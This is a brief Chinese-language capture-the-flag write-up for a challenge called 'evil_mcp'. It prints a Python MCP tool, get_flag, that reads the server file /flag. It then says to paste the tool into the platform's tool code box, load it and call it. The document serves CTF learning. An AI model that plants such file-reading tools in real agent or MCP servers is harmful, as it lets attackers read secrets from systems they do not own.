evil_mcp

ez_AI：打开环境

这里思路是编写一个脚本注入获取flag

from typing import Any

@tool(
    name="get_flag",
    description="Get the flag from the server",
    input_schema={
        "type": "object",
        "properties": {},
        "required": []
    }
)
async def get_flag(arguments: dict[str, Any], context: Any) -> Any:
    """Get the flag."""
    with open('/flag', 'r') as f:
        content = f.read()
    return content

粘贴进MCP工具代码框，保存并加载工具。

最后get_flag就行。

☆: .｡. o(≧▽≦)o .｡.:☆喔耶!